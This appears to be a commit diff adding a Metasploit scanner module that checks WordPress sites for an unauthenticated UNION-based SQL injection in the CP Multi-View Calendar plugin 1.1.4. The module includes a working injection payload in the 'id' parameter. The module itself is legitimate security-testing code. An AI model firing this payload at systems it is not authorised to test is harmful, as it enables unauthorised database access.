|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'uri' |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit4 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner', |
| 18 | + 'Description' => %q{ |
| 19 | + This module will scan given instances for an unauthenticated SQL injection |
| 20 | + within the CP Multi-View Calendar plugin v1.1.4 for Wordpress. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Joaquin Ramirez Martinez', #discovery |
| 25 | + 'bperry' #metasploit module |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'EDB', '36243'], |
| 31 | + [ 'WPVDB', '7910' ] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Mar 03 2015')) |
| 34 | + |
| 35 | + register_options([ |
| 36 | + OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/']) |
| 37 | + ], self.class) |
| 38 | + end |
| 39 | + |
| 40 | + def run_host(ip) |
| 41 | + right_marker = Rex::Text.rand_text_alpha(5) |
| 42 | + left_marker = Rex::Text.rand_text_alpha(5) |
| 43 | + flag = Rex::Text.rand_text_alpha(5) |
| 44 | + |
| 45 | + vprint_status("#{peer} - Checking host") |
| 46 | + |
| 47 | + res = send_request_cgi({ |
| 48 | + 'uri' => normalize_uri(target_uri.path, '/'), |
| 49 | + 'vars_get' => { |
| 50 | + 'action' => 'data_management', |
| 51 | + 'cpmvc_do_action' => 'mvparse', |
| 52 | + 'f' => 'edit', |
| 53 | + 'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" |
| 54 | + } |
| 55 | + }) |
| 56 | + |
| 57 | + unless res && res.body |
| 58 | + vprint_error("#{peer} - Server did not respond in an expected way") |
| 59 | + return |
| 60 | + end |
| 61 | + |
| 62 | + result = res.body =~ /#{left_marker}#{flag}#{right_marker}/ |
| 63 | + |
| 64 | + if result |
| 65 | + print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress") |
| 66 | + report_vuln({ |
| 67 | + :host => rhost, |
| 68 | + :port => rport, |
| 69 | + :proto => 'tcp', |
| 70 | + :name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress", |
| 71 | + :refs => self.references.select { |ref| ref.ctx_val == "36243" } |
| 72 | + }) |
| 73 | + end |
| 74 | + end |
| 75 | +end |
0 commit comments